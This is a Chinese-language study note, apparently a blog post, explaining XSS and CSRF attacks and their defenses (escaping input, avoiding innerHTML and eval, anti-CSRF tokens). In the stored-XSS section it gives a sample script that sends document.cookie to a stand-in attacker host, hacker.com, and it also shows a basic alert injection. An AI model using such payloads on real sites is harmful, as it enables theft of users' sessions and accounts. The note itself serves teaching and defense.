XSS攻击
1.什么是XSS
XSS,全称Cross Site Scripting,跨站脚本攻击。恶意web用户往有XSS漏洞的网站中插入恶意的代码,比如HTML代码和客户端脚本,嵌入到网站中的恶意代码会自动执行;通过XSS攻击,攻击者可以达到盗取各种Cookie、控制企业数据等目的。
2.XSS分类
(1)DOM Based XSS
当使用了innerHTML时,容易受到DOM Based XSS攻击;
例如:
div.innerHTML = content
content的内容为用户输入的内容,为 <script>alert(XSS攻击)</script>
页面会自动运行这个脚本,页面弹框,造成XSS攻击
(2)反射式XSS
(3)Stored XSS
例如:
一个有XSS漏洞的网页,有发布评论的功能;攻击者通过发布一条评论,评论中带有恶意攻击代码,如
<script>window.open('http://hacker.com?cookie=' + document.cookie)</script>;
这个评论发布后,储存到了服务器上面,当其它用户浏览页面时,他们的网站的cookie信息就被发送到了攻击者的服务器上面了。
3.如何防御XSS攻击
所有用户可输入的地方都是不安全的,因此要对用户输入的内容进行严格的过滤,对特殊的字符进行转义等。对于开发者来说,尽量避免会造成XSS漏洞的操作,例如InnerHTML、eval的使用等。
eval() 函数会将传入的字符串当做 JavaScript 代码进行执行。如果使用用 eval() 运行的字符串代码被攻击者修改,那么就会在网页上运行恶意代码。更重要的是,第三方代码可以看到某一个eval()被调用时的作用域,这也有可能导致一些不同方式的攻击。
如果 eval() 的参数不是字符串, eval() 将会将参数原封不动的返回。
https://www.jianshu.com/p/790fb57f3acb
https://blog.csdn.net/ghsau/article/details/17027893
CSRF攻击
1.什么是CSRF
CSRF(Cross-site request forgery)跨站请求伪造,就是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服务端接收后会被误以为是用户合法的操作。也就是攻击者盗用了用户的身份,以用户的名义发送一些对用户不利的请求,例如盗取账号,虚拟货币转让,隐私泄露,危害财产安全。
2.过程
- 用户访问A网站(安全受信任的网站,设定为一个银行网站),登陆账户,产生相应cookie
- 用户在没有登出A网站时,登陆恶意网站B网站
- B网站要求向A网站发送一个请求,请求内容为向攻击者的用户转钱
- 此时用户带着登陆A网站时产生的cookie,向A网站发送了这个请求(因为带有cookie,所以A网站认为是用户合法的操作)
- 用户就在不知情的情况下向攻击者的用户转钱
3.防御
使用anti-csrf-token
服务端在客户端页面增加伪随机数。将随机数埋入页面,一般是埋入表单中,同时随机数也会作为cookie或session种入用户的浏览器,当用户发送请求时,表单里的随机数一同被提交上去,后台解析了cookie后获取了随机数的值和用户提交的值进行比较,相等的话就说明这个请求是合法的。
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
网友评论